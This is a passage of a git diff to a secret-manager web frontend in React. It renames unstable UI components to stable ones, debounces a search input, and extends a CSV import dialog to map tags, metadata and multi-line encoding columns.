+import { Empty, EmptyDescription, EmptyHeader, EmptyMedia, EmptyTitle } from "@app/components/v3";
 
 type Props = {
   isFiltered?: boolean;
@@ -24,12 +18,12 @@ export function EmptyResourceDisplay({ isFiltered }: Props) {
       };
 
   return (
-    <UnstableEmpty className="border">
-      <UnstableEmptyHeader>
+    <Empty className="border">
+      <EmptyHeader>
         <EmptyMedia variant="icon">{isFiltered ? <SearchIcon /> : <FolderPlusIcon />}</EmptyMedia>
-        <UnstableEmptyTitle>{title}</UnstableEmptyTitle>
-        <UnstableEmptyDescription>{description}</UnstableEmptyDescription>
-      </UnstableEmptyHeader>
-    </UnstableEmpty>
+        <EmptyTitle>{title}</EmptyTitle>
+        <EmptyDescription>{description}</EmptyDescription>
+      </EmptyHeader>
+    </Empty>
   );
 }
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/FolderBreadcrumb/FolderBreadcrumb.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/FolderBreadcrumb/FolderBreadcrumb.tsx
index 852a8c0d44c..7cfa195a7a4 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/FolderBreadcrumb/FolderBreadcrumb.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/FolderBreadcrumb/FolderBreadcrumb.tsx
@@ -10,10 +10,10 @@ import {
   BreadcrumbList,
   BreadcrumbPage,
   BreadcrumbSeparator,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger
 } from "@app/components/v3";
 
 type Props = {
@@ -271,21 +271,18 @@ export function FolderBreadcrumb({ secretPath = "", onResetSearch }: Props) {
                 <SlashIcon className="size-3 -rotate-12" />
               </BreadcrumbSeparator>
               <BreadcrumbItem>
-                <UnstableDropdownMenu>
-                  <UnstableDropdownMenuTrigger asChild>
+                <DropdownMenu>
+                  <DropdownMenuTrigger asChild>
                     <span className="data-[state=open]:[&>*]:bg-foreground/10">
                       <BreadcrumbEllipsis className="size-6 cursor-pointer rounded hover:bg-foreground/10" />
                     </span>
-                  </UnstableDropdownMenuTrigger>
-                  <UnstableDropdownMenuContent
-                    className="relative max-w-[300px] pl-3"
-                    align="start"
-                  >
+                  </DropdownMenuTrigger>
+                  <DropdownMenuContent className="relative max-w-[300px] pl-3" align="start">
                     <div className="absolute top-3 bottom-[23px] left-[8px] w-px bg-muted/50" />
                     {hiddenSegments.map((segment, idx) => {
                       const originalIndex = startCount + idx;
                       return (
-                        <UnstableDropdownMenuItem
+                        <DropdownMenuItem
                           key={`hidden-${originalIndex}`}
                           onClick={() => onFolderCrumbClick(originalIndex + 1)}
                           className="text-accent hover:text-foreground"
@@ -295,11 +292,11 @@ export function FolderBreadcrumb({ secretPath = "", onResetSearch }: Props) {
 
                           <FolderIcon className="text-folder" />
                           <span className="truncate">{segment}</span>
-                        </UnstableDropdownMenuItem>
+                        </DropdownMenuItem>
                       );
                     })}
-                  </UnstableDropdownMenuContent>
-                </UnstableDropdownMenu>
+                  </DropdownMenuContent>
+                </DropdownMenu>
               </BreadcrumbItem>
             </>
           )}
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/FolderTableRow/FolderTableRow.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/FolderTableRow/FolderTableRow.tsx
index 2012439cfff..dc8dbf413c0 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/FolderTableRow/FolderTableRow.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/FolderTableRow/FolderTableRow.tsx
@@ -4,12 +4,12 @@ import { twMerge } from "tailwind-merge";
 
 import {
   Checkbox,
+  IconButton,
+  TableCell,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableIconButton,
-  UnstableTableCell,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import { PendingAction } from "@app/hooks/api/secretFolders/types";
 
@@ -57,11 +57,11 @@ export const FolderTableRow = ({
   const isSingleEnvView = environments.length === 1;
 
   return (
-    <UnstableTableRow
+    <TableRow
       className={twMerge("group hover:z-10", pendingActionRowClass(pendingAction))}
       onClick={handleClick}
     >
-      <UnstableTableCell
+      <TableCell
         className={twMerge(
           isSingleEnvView
             ? ""
@@ -92,8 +92,8 @@ export const FolderTableRow = ({
             isSelected && "!hidden"
           )}
         />
-      </UnstableTableCell>
-      <UnstableTableCell
+      </TableCell>
+      <TableCell
         isTruncatable
         colSpan={isSingleEnvView ? 2 : undefined}
         className={
@@ -129,9 +129,9 @@ export const FolderTableRow = ({
           )}
         >
           {pendingAction !== PendingAction.Delete && (
-            <Tooltip delayDuration={300} disableHoverableContent>
+            <Tooltip disableHoverableContent>
               <TooltipTrigger>
-                <UnstableIconButton
+                <IconButton
                   variant="ghost"
                   size="xs"
                   className="w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7"
@@ -141,15 +141,15 @@ export const FolderTableRow = ({
                   }}
                 >
                   <EditIcon />
-                </UnstableIconButton>
+                </IconButton>
               </TooltipTrigger>
               <TooltipContent>Edit Folder</TooltipContent>
             </Tooltip>
           )}
           {pendingAction ? (
-            <Tooltip delayDuration={300} disableHoverableContent>
+            <Tooltip disableHoverableContent>
               <TooltipTrigger>
-                <UnstableIconButton
+                <IconButton
                   variant="ghost"
                   className="w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7 hover:text-danger"
                   size="xs"
@@ -159,14 +159,14 @@ export const FolderTableRow = ({
                   }}
                 >
                   <Undo2Icon />
-                </UnstableIconButton>
+                </IconButton>
               </TooltipTrigger>
               <TooltipContent>Discard pending changes</TooltipContent>
             </Tooltip>
           ) : (
-            <Tooltip delayDuration={300} disableHoverableContent>
+            <Tooltip disableHoverableContent>
               <TooltipTrigger>
-                <UnstableIconButton
+                <IconButton
                   variant="ghost"
                   size="xs"
                   className="w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7 hover:text-danger"
@@ -176,13 +176,13 @@ export const FolderTableRow = ({
                   }}
                 >
                   <TrashIcon />
-                </UnstableIconButton>
+                </IconButton>
               </TooltipTrigger>
               <TooltipContent>Delete Folder</TooltipContent>
             </Tooltip>
           )}
         </div>
-      </UnstableTableCell>
+      </TableCell>
       {!isSingleEnvView &&
         environments.map(({ slug }, i) => {
           const isPresent = isFolderPresentInEnv(folderName, slug);
@@ -194,6 +194,6 @@ export const FolderTableRow = ({
             />
           );
         })}
-    </UnstableTableRow>
+    </TableRow>
   );
 };
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/ResourceEnvironmentStatusCell/ResourceEnvironmentStatusCell.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/ResourceEnvironmentStatusCell/ResourceEnvironmentStatusCell.tsx
index 95f650b93b6..33e629cf983 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/ResourceEnvironmentStatusCell/ResourceEnvironmentStatusCell.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/ResourceEnvironmentStatusCell/ResourceEnvironmentStatusCell.tsx
@@ -9,7 +9,7 @@ import {
 } from "lucide-react";
 import { twMerge } from "tailwind-merge";
 
-import { Tooltip, TooltipContent, TooltipTrigger, UnstableTableCell } from "@app/components/v3";
+import { TableCell, Tooltip, TooltipContent, TooltipTrigger } from "@app/components/v3";
 
 export type EnvironmentStatus = "present" | "missing" | "empty" | "imported" | "no-access";
 
@@ -54,7 +54,7 @@ export const ResourceEnvironmentStatusCell = ({ status, hasOverride }: Props) =>
   }
 
   return (
-    <UnstableTableCell
+    <TableCell
       className={twMerge(
         "relative border-r text-center last:border-r-0",
         status === "present" && "text-success",
@@ -80,6 +80,6 @@ export const ResourceEnvironmentStatusCell = ({ status, hasOverride }: Props) =>
         </TooltipTrigger>
         <TooltipContent>{tooltipContent}</TooltipContent>
       </Tooltip>
-    </UnstableTableCell>
+    </TableCell>
   );
 };
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/ResourceFilter/ResourceFilter.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/ResourceFilter/ResourceFilter.tsx
index f433a583ce9..8bdb52d78d5 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/ResourceFilter/ResourceFilter.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/ResourceFilter/ResourceFilter.tsx
@@ -8,13 +8,13 @@ import {
 } from "lucide-react";
 
 import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuTrigger,
+  IconButton,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuTrigger,
-  UnstableIconButton
+  TooltipTrigger
 } from "@app/components/v3";
 import { WsTag } from "@app/hooks/api/tags/types";
 import { RowType } from "@app/pages/secret-manager/OverviewPage/OverviewPage";
@@ -64,22 +64,18 @@ export function ResourceFilter({
   const isActive = filterCount > 0 || tagCount > 0;
 
   return (
-    <UnstableDropdownMenu>
-      <UnstableDropdownMenuTrigger className="outline-0">
+    <DropdownMenu>
+      <DropdownMenuTrigger className="outline-0">
         <Tooltip>
           <TooltipTrigger asChild>
-            <UnstableIconButton
-              className="relative"
-              size="md"
-              variant={isActive ? "project" : "outline"}
-            >
+            <IconButton className="relative" size="md" variant={isActive ? "project" : "outline"}>
               <FilterIcon />
-            </UnstableIconButton>
+            </IconButton>
           </TooltipTrigger>
           <TooltipContent>Filter resources</TooltipContent>
         </Tooltip>
-      </UnstableDropdownMenuTrigger>
-      <UnstableDropdownMenuContent align="end">
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align="end">
         <ResourceFilterMenuContent
           resourceTypes={OVERVIEW_RESOURCE_TYPES}
           resourceTypeFilter={rowTypeFilter}
@@ -89,7 +85,7 @@ export function ResourceFilter({
           onToggleTag={onToggleTag}
           onClearTags={onClearTags}
         />
-      </UnstableDropdownMenuContent>
-    </UnstableDropdownMenu>
+      </DropdownMenuContent>
+    </DropdownMenu>
   );
 }
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/ResourceFilter/ResourceFilterMenuContent.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/ResourceFilter/ResourceFilterMenuContent.tsx
index a9f7140d84b..052a3cb0add 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/ResourceFilter/ResourceFilterMenuContent.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/ResourceFilter/ResourceFilterMenuContent.tsx
@@ -3,15 +3,15 @@ import { SearchIcon, TagsIcon, XIcon } from "lucide-react";
 
 import {
   Badge,
+  DropdownMenuCheckboxItem,
+  DropdownMenuLabel,
+  DropdownMenuSeparator,
+  DropdownMenuSub,
+  DropdownMenuSubContent,
+  DropdownMenuSubTrigger,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableDropdownMenuCheckboxItem,
-  UnstableDropdownMenuLabel,
-  UnstableDropdownMenuSeparator,
-  UnstableDropdownMenuSub,
-  UnstableDropdownMenuSubContent,
-  UnstableDropdownMenuSubTrigger
+  TooltipTrigger
 } from "@app/components/v3";
 import { WsTag } from "@app/hooks/api/tags/types";
 
@@ -52,9 +52,9 @@ export function ResourceFilterMenuContent({
 
   return (
     <>
-      <UnstableDropdownMenuLabel>{menuLabel}</UnstableDropdownMenuLabel>
+      <DropdownMenuLabel>{menuLabel}</DropdownMenuLabel>
       {resourceTypes.map((rt) => (
-        <UnstableDropdownMenuCheckboxItem
+        <DropdownMenuCheckboxItem
           key={rt.type}
           onClick={(e) => {
             e.preventDefault();
@@ -64,11 +64,11 @@ export function ResourceFilterMenuContent({
         >
           {rt.icon}
           {rt.label}
-        </UnstableDropdownMenuCheckboxItem>
+        </DropdownMenuCheckboxItem>
       ))}
-      <UnstableDropdownMenuSeparator />
-      <UnstableDropdownMenuSub onOpenChange={(open) => !open && setTagSearch("")}>
-        <UnstableDropdownMenuSubTrigger className="gap-2">
+      <DropdownMenuSeparator />
+      <DropdownMenuSub onOpenChange={(open) => !open && setTagSearch("")}>
+        <DropdownMenuSubTrigger className="gap-2">
           <TagsIcon className="size-4 shrink-0 text-muted" />
           <span className="flex-1">Tags</span>
           {tagCount > 0 && (
@@ -90,8 +90,8 @@ export function ResourceFilterMenuContent({
               <TooltipContent>Clear tag filters</TooltipContent>
             </Tooltip>
           )}
-        </UnstableDropdownMenuSubTrigger>
-        <UnstableDropdownMenuSubContent
+        </DropdownMenuSubTrigger>
+        <DropdownMenuSubContent
           alignOffset={-5}
           className="flex max-h-72 flex-col overflow-hidden p-0"
         >
@@ -113,7 +113,7 @@ export function ResourceFilterMenuContent({
               <p className="px-2 py-1.5 text-sm text-muted">No tags found</p>
             )}
             {filteredTags?.map((tag) => (
-              <UnstableDropdownMenuCheckboxItem
+              <DropdownMenuCheckboxItem
                 key={tag.id}
                 onClick={(e) => {
                   e.preventDefault();
@@ -122,11 +122,11 @@ export function ResourceFilterMenuContent({
                 checked={Boolean(selectedTagSlugs[tag.slug])}
               >
                 {tag.slug}
-              </UnstableDropdownMenuCheckboxItem>
+              </DropdownMenuCheckboxItem>
             ))}
           </div>
-        </UnstableDropdownMenuSubContent>
-      </UnstableDropdownMenuSub>
+        </DropdownMenuSubContent>
+      </DropdownMenuSub>
     </>
   );
 }
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/ResourceSearchInput/ResourceSearchInput.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/ResourceSearchInput/ResourceSearchInput.tsx
index 81cb7932338..57b3eaf58b4 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/ResourceSearchInput/ResourceSearchInput.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/ResourceSearchInput/ResourceSearchInput.tsx
@@ -1,7 +1,9 @@
-import { useRef, useState } from "react";
+import { useEffect, useRef, useState } from "react";
 import { GlobeIcon, SearchIcon, XIcon } from "lucide-react";
 
 import {
+  ButtonGroup,
+  IconButton,
   InputGroup,
   InputGroupAddon,
   InputGroupInput,
@@ -10,10 +12,9 @@ import {
   PopoverTrigger,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableButtonGroup,
-  UnstableIconButton
+  TooltipTrigger
 } from "@app/components/v3";
+import { useDebounce } from "@app/hooks";
 
 import { QuickSearchModal, QuickSearchModalProps } from "../SecretSearchInput/components";
 
@@ -24,7 +25,7 @@ type Props = Omit<QuickSearchModalProps, "isOpen" | "onClose" | "onOpenChange" |
 };
 
 export const ResourceSearchInput = ({
-  value,
+  value: externalValue,
   onChange,
   className,
   isSingleEnv,
@@ -35,16 +36,42 @@ export const ResourceSearchInput = ({
   const [isOptionHighlighted, setIsOptionHighlighted] = useState(false);
   const deepSearchBtnRef = useRef<HTMLButtonElement>(null);
   const inputRef = useRef<HTMLInputElement>(null);
-  const hasSearch = Boolean(value.trim());
+
+  // local input state so typing doesn't re-render the whole table
+  const [inputValue, setInputValue] = useState(externalValue);
+  const [debouncedInputValue] = useDebounce(inputValue);
+  const lastEmittedValue = useRef(externalValue);
+
+  useEffect(() => {
+    if (externalValue !== lastEmittedValue.current) {
+      setInputValue(externalValue);
+      lastEmittedValue.current = externalValue;
+    }
+  }, [externalValue]);
+
+  useEffect(() => {
+    if (debouncedInputValue !== lastEmittedValue.current) {
+      lastEmittedValue.current = debouncedInputValue;
+      onChange(debouncedInputValue);
+    }
+  }, [debouncedInputValue, onChange]);
+
+  const handleClear = () => {
+    setInputValue("");
+    lastEmittedValue.current = "";
+    onChange("");
+  };
+
+  const hasSearch = Boolean(inputValue.trim());
 
   return (
     <>
-      <UnstableButtonGroup>
+      <ButtonGroup>
         <Tooltip>
           <TooltipTrigger asChild>
-            <UnstableIconButton variant="outline" onClick={() => setIsOpen(true)}>
+            <IconButton variant="outline" onClick={() => setIsOpen(true)}>
               <SearchIcon />
-            </UnstableIconButton>
+            </IconButton>
           </TooltipTrigger>
           <TooltipContent>Search All Folders</TooltipContent>
         </Tooltip>
@@ -60,9 +87,9 @@ export const ResourceSearchInput = ({
                       ? "Search by secret, folder, tag or metadata..."
                       : "Search by secret or folder name..."
                   }
-                  value={value}
+                  value={inputValue}
                   onChange={(e) => {
-                    onChange(e.target.value);
+                    setInputValue(e.target.value);
                     setIsOptionHighlighted(false);
                   }}
                   onFocus={() => setIsFocused(true)}
@@ -90,9 +117,9 @@ export const ResourceSearchInput = ({
                 />
                 {hasSearch && (
                   <InputGroupAddon align="inline-end">
-                    <UnstableIconButton variant="ghost" size="xs" onClick={() => onChange("")}>
+                    <IconButton variant="ghost" size="xs" onClick={handleClear}>
                       <XIcon />
-                    </UnstableIconButton>
+                    </IconButton>
                   </InputGroupAddon>
                 )}
               </InputGroup>
@@ -115,19 +142,21 @@ export const ResourceSearchInput = ({
               }}
             >
               <GlobeIcon className="size-4 shrink-0 text-muted" />
-              <span className="truncate">Search all folders for &quot;{value.trim()}&quot;</span>
+              <span className="truncate">
+                Search all folders for &quot;{inputValue.trim()}&quot;
+              </span>
             </button>
           </PopoverContent>
         </Popover>
-      </UnstableButtonGroup>
+      </ButtonGroup>
       <QuickSearchModal
         isSingleEnv={isSingleEnv}
         isOpen={isOpen}
         onOpenChange={setIsOpen}
-        initialValue={value}
+        initialValue={inputValue}
         onClose={() => {
           setIsOpen(false);
-          onChange("");
+          handleClear();
         }}
         {...props}
       />
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/CsvColumnMapDialog.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/CsvColumnMapDialog.tsx
index 78f180d5fa4..71fbcdfb9af 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/CsvColumnMapDialog.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/CsvColumnMapDialog.tsx
@@ -1,7 +1,17 @@
-import { Dispatch, SetStateAction, useState } from "react";
-import { ArrowRightIcon, AsteriskIcon, KeyIcon, MessageSquareIcon } from "lucide-react";
+import { Dispatch, ReactNode, SetStateAction, useState } from "react";
+import {
+  ArrowRightIcon,
+  AsteriskIcon,
+  CodeXmlIcon,
+  InfoIcon,
+  KeyIcon,
+  MessageSquareIcon,
+  TagsIcon,
+  WrapTextIcon
+} from "lucide-react";
 
 import { createNotification } from "@app/components/notifications";
+import { CsvDelimiter } from "@app/components/utilities/parseSecrets";
 import { FormLabel } from "@app/components/v2";
 import {
   Badge,
@@ -15,35 +25,214 @@ import {
   SelectContent,
   SelectItem,
   SelectTrigger,
-  SelectValue
+  SelectValue,
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger
 } from "@app/components/v3";
 
-type TParsedEnv = Record<string, { value: string; comments: string[] }>;
+import { TParsedEnv } from "./types";
 
 type SecretMatrixMap = {
   key: number;
   value: number | null;
   comment: number | null;
+  tags: number | null;
+  metadata: number | null;
+  skipMultilineEncoding: number | null;
 };
 
+type MapKey = keyof SecretMatrixMap;
+
 type Props = {
   isOpen: boolean;
   onOpenChange: (isOpen: boolean) => void;
   headers: string[];
   matrix: string[][];
+  delimiter: CsvDelimiter;
   onParsedSecrets: (env: TParsedEnv) => void;
 };
 
+const TRUTHY_VALUES = new Set(["true", "1", "yes", "y", "t"]);
+
+// Prefer `,` since it's the most natural list separator;
+// fall back to `;` only when `,` is itself the outer CSV delimiter.
+const pickInnerSeparator = (primaryDelimiter: CsvDelimiter): "," | ";" =>
+  primaryDelimiter === "," ? ";" : ",";
+
+const HEADER_ALIASES: Record<MapKey, string[]> = {
+  key: ["key", "name", "secret", "secret_key", "secretkey", "secret_name", "secretname"],
+  value: ["value", "val", "secret_value", "secretvalue"],
+  comment: ["comment", "comments", "description", "note", "notes"],
+  tags: ["tag", "tags", "labels", "label"],
+  metadata: ["metadata", "meta"],
+  skipMultilineEncoding: [
+    "skip_ml",
+    "skipml",
+    "skip_multiline",
+    "skipmultiline",
+    "skip_multiline_encoding",
+    "skipmultilineencoding",
+    "multiline",
+    "multiline_encoding",
+    "multilineencoding"
+  ]
+};
+
+const buildInitialMatrixMap = (headers: string[]): SecretMatrixMap => {
+  const normalized = headers.map((h) =>
+    h
+      .trim()
+      .toLowerCase()
+      .replace(/[\s-]+/g, "_")
+  );
+  const used = new Set<number>();
+  const pick = (aliases: string[]): number | null => {
+    const idx = normalized.findIndex((h, i) => !used.has(i) && aliases.includes(h));
+    if (idx === -1) return null;
+    used.add(idx);
+    return idx;
+  };
+
+  let keyIdx = pick(HEADER_ALIASES.key);
+  const value = pick(HEADER_ALIASES.value);
+  const comment = pick(HEADER_ALIASES.comment);
+  const tags = pick(HEADER_ALIASES.tags);
+  const metadata = pick(HEADER_ALIASES.metadata);
+  const skipMultilineEncoding = pick(HEADER_ALIASES.skipMultilineEncoding);
+
+  if (keyIdx === null) {
+    const firstFree = headers.findIndex((_, i) => !used.has(i));
+    keyIdx = firstFree === -1 ? 0 : firstFree;
+  }
+
+  return { key: keyIdx, value, comment, tags, metadata, skipMultilineEncoding };
+};
+
+const parseTagCell = (cell: string, innerSeparator: string): string[] => [
+  ...new Set(
+    cell
+      .split(innerSeparator)
+      .map((s) => s.trim())
+      .filter(Boolean)
+  )
+];
+
+const parseMetadataCell = (
+  cell: string,
+  innerSeparator: string
+): { pairs: { key: string; value: string }[]; malformed: boolean } => {
+  if (!cell.trim()) return { pairs: [], malformed: false };
+  const pairs: { key: string; value: string }[] = [];
+  let malformed = false;
+  cell.split(innerSeparator).forEach((chunk) => {
+    const trimmed = chunk.trim();
+    if (!trimmed) return;
+    const eqIdx = trimmed.indexOf("=");
+    if (eqIdx === -1) {
+      malformed = true;
+      return;
+    }
+    const key = trimmed.slice(0, eqIdx).trim();
+    const value = trimmed.slice(eqIdx + 1).trim();
+    if (!key) {
+      malformed = true;
+      return;
+    }
+    pairs.push({ key, value });
+  });
+  return { pairs, malformed };
+};
+
+const parseBooleanCell = (cell: string): boolean => TRUTHY_VALUES.has(cell.trim().toLowerCase());
+
+const formatDelimiter = (d: CsvDelimiter): string => (d === "\t" ? "tab" : d);
+
+type MatrixRow = {
+  mapKey: MapKey;
+  label: string;
+  icon: ReactNode;
+  hint?: (innerSeparator: "," | ";", outerDelimiter: CsvDelimiter) => ReactNode;
+};
+
+const MATRIX_ROWS: MatrixRow[] = [
+  { mapKey: "key", label: "Secret Key", icon: <KeyIcon /> },
+  { mapKey: "value", label: "Secret Value", icon: <AsteriskIcon /> },
+  { mapKey: "comment", label: "Comment", icon: <MessageSquareIcon /> },
+  {
+    mapKey: "tags",
+    label: "Tags",
+    icon: <TagsIcon />,
+    hint: (sep, outer) => (
+      <div className="flex flex-col gap-1.5">
+        <p>
+          Separate multiple tag slugs with either{" "}
+          <code className="rounded bg-bunker-400/30 px-1">,</code> or{" "}
+          <code className="rounded bg-bunker-400/30 px-1">;</code> — whichever is <em>not</em> your
+          CSV&apos;s column delimiter.
+        </p>
+        <p>
+          Detected column delimiter:{" "}
+          <code className="rounded bg-bunker-400/30 px-1">{formatDelimiter(outer)}</code>, so use{" "}
+          <code className="rounded bg-bunker-400/30 px-1">{sep}</code> (e.g.{" "}
+          <code className="rounded bg-bunker-400/30 px-1">prod{sep}api</code>).
+        </p>
+        <p>Missing tags are auto-created if you have permission.</p>
+      </div>
+    )
+  },
+  {
+    mapKey: "metadata",
+    label: "Metadata",
+    icon: <CodeXmlIcon />,
+    hint: (sep, outer) => (
+      <div className="flex flex-col gap-1.5">
+        <p>
+          Provide <code className="rounded bg-bunker-400/30 px-1">key=value</code> pairs separated
+          by either <code className="rounded bg-bunker-400/30 px-1">,</code> or{" "}
+          <code className="rounded bg-bunker-400/30 px-1">;</code> — whichever is <em>not</em> your
+          CSV&apos;s column delimiter.
+        </p>
+        <p>
+          Detected column delimiter:{" "}
+          <code className="rounded bg-bunker-400/30 px-1">{formatDelimiter(outer)}</code>, so use{" "}
+          <code className="rounded bg-bunker-400/30 px-1">{sep}</code> (e.g.{" "}
+          <code className="rounded bg-bunker-400/30 px-1">owner=team-a{sep}tier=p0</code>).
+        </p>
+      </div>
+    )
+  },
+  {
+    mapKey: "skipMultilineEncoding",
+    label: "Multi-line Encoding",
+    icon: <WrapTextIcon />,
+    hint: () => (
+      <>
+        Truthy cells (<code className="rounded bg-bunker-400/30 px-1">true</code>,{" "}
+        <code className="rounded bg-bunker-400/30 px-1">1</code>,{" "}
+        <code className="rounded bg-bunker-400/30 px-1">yes</code>) enable multi-line encoding;
+        anything else leaves it disabled.
+      </>
+    )
+  }
+];
+
 const MatrixImportModalTableRow = ({
   importSecretMatrixMap,
   setImportSecretMatrixMap,
   headers,
-  mapKey
+  mapKey,
+  label,
+  icon,
+  hint
 }: {
   importSecretMatrixMap: SecretMatrixMap;
   setImportSecretMatrixMap: Dispatch<SetStateAction<SecretMatrixMap>>;
   headers: string[];
-  mapKey: keyof SecretMatrixMap;
+  mapKey: MapKey;
+  label: string;
+  icon: ReactNode;
+  hint?: ReactNode;
 }) => {
   return (
     <tr>
@@ -76,27 +265,21 @@ const MatrixImportModalTableRow = ({
         </div>
       </td>
       <td className="whitespace-nowrap">
-        <div className="flex h-full items-start justify-center">
-          <Badge isFullWidth variant="neutral">
-            {mapKey === "key" && (
-              <>
-                <KeyIcon />
-                Secret Key
-              </>
-            )}
-            {mapKey === "value" && (
-              <>
-                <AsteriskIcon />
-                Secret Value
-              </>
-            )}
-            {mapKey === "comment" && (
-              <>
-                <MessageSquareIcon />
-                Comment
-              </>
-            )}
+        <div className="flex h-full items-center justify-center gap-1.5">
+          <Badge className="flex-1 justify-center" variant="neutral">
+            {icon}
+            {label}
           </Badge>
+          {hint && (
+            <Tooltip delayDuration={300}>
+              <TooltipTrigger asChild>
+                <span className="flex size-4 shrink-0 items-center justify-center text-muted">
+                  <InfoIcon className="size-3.5" />
+                </span>
+              </TooltipTrigger>
+              <TooltipContent className="max-w-xs">{hint}</TooltipContent>
+            </Tooltip>
+          )}
         </div>
       </td>
     </tr>
@@ -106,16 +289,23 @@ const MatrixImportModalTableRow = ({
 type ContentProps = {
   headers: string[];
   matrix: string[][];
+  delimiter: CsvDelimiter;
   onParsedSecrets: (env: TParsedEnv) => void;
   onClose: () => void;
 };
 
-const CsvColumnMapContent = ({ headers, matrix, onParsedSecrets, onClose }: ContentProps) => {
-  const [importSecretMatrixMap, setImportSecretMatrixMap] = useState<SecretMatrixMap>({
-    key: 0,
-    value: null,
-    comment: null
-  });
+const CsvColumnMapContent = ({
+  headers,
+  matrix,
+  delimiter,
+  onParsedSecrets,
+  onClose
+}: ContentProps) => {
+  const [importSecretMatrixMap, setImportSecretMatrixMap] = useState<SecretMatrixMap>(() =>
+    buildInitialMatrixMap(headers)
+  );
+
+  const innerSeparator = pickInnerSeparator(delimiter);
 
   const handleImport = () => {
     if (!matrix.length) {
@@ -127,18 +317,48 @@ const CsvColumnMapContent = ({ headers, matrix, onParsedSecrets, onClose }: Cont
     }
 
     const env: TParsedEnv = {};
+    let malformedMetadataRows = 0;
+
     matrix.forEach((row) => {
       const key = row[importSecretMatrixMap.key];
-      if (key) {
-        env[key] = {
-          value: importSecretMatrixMap.value !== null ? row[importSecretMatrixMap.value] || "" : "",
-          comments:
-            importSecretMatrixMap.comment !== null ? [row[importSecretMatrixMap.comment] || ""] : []
-        };
+      if (!key) return;
+
+      const entry: TParsedEnv[string] = {
+        value: importSecretMatrixMap.value !== null ? row[importSecretMatrixMap.value] || "" : "",
+        comments:
+          importSecretMatrixMap.comment !== null ? [row[importSecretMatrixMap.comment] || ""] : []
+      };
+
+      if (importSecretMatrixMap.tags !== null) {
+        const tagSlugs = parseTagCell(row[importSecretMatrixMap.tags] || "", innerSeparator);
+        if (tagSlugs.length) entry.tagSlugs = tagSlugs;
+      }
+
+      if (importSecretMatrixMap.metadata !== null) {
+        const { pairs, malformed } = parseMetadataCell(
+          row[importSecretMatrixMap.metadata] || "",
+          innerSeparator
+        );
+        if (malformed) malformedMetadataRows += 1;
+        if (pairs.length) entry.secretMetadata = pairs;
+      }
+
+      if (importSecretMatrixMap.skipMultilineEncoding !== null) {
+        const raw = row[importSecretMatrixMap.skipMultilineEncoding];
+        if (raw?.trim()) entry.skipMultilineEncoding = parseBooleanCell(raw);
       }
+
+      env[key] = entry;
     });
 
-    setImportSecretMatrixMap({ key: 0, value: null, comment: null });
+    if (malformedMetadataRows > 0) {
+      createNotification({
+        type: "warning",
+        text: `Skipped malformed metadata in ${malformedMetadataRows} row${malformedMetadataRows > 1 ? "s" : ""}. Expected format: key=value${innerSeparator}key=value`
+      });
+    }
+
+    setImportSecretMatrixMap(buildInitialMatrixMap(headers));
     onClose();
     onParsedSecrets(env);
   };
@@ -148,7 +368,7 @@ const CsvColumnMapContent = ({ headers, matrix, onParsedSecrets, onClose }: Cont
       <DialogHeader>
         <DialogTitle>Import Column Mapping</DialogTitle>
         <p className="text-sm text-accent">
-          Map your data columns to different parts of the secret
+          Map your data columns to different parts of the secret.
         </p>
       </DialogHeader>
       <div className="w-full overflow-hidden">
@@ -165,24 +385,18 @@ const CsvColumnMapContent = ({ headers, matrix, onParsedSecrets, onClose }: Cont
             </tr>
           </thead>
           <tbody>
-            <MatrixImportModalTableRow
-              importSecretMatrixMap={importSecretMatrixMap}
-              setImportSecretMatrixMap={setImportSecretMatrixMap}
-              headers={headers}
-              mapKey="key"
-            />
-            <MatrixImportModalTableRow
-              importSecretMatrixMap={importSecretMatrixMap}
-              setImportSecretMatrixMap={setImportSecretMatrixMap}
-              headers={headers}
-              mapKey="value"
-            />
-            <MatrixImportModalTableRow
-              importSecretMatrixMap={importSecretMatrixMap}
-              setImportSecretMatrixMap={setImportSecretMatrixMap}
-              headers={headers}
-              mapKey="comment"
-            />
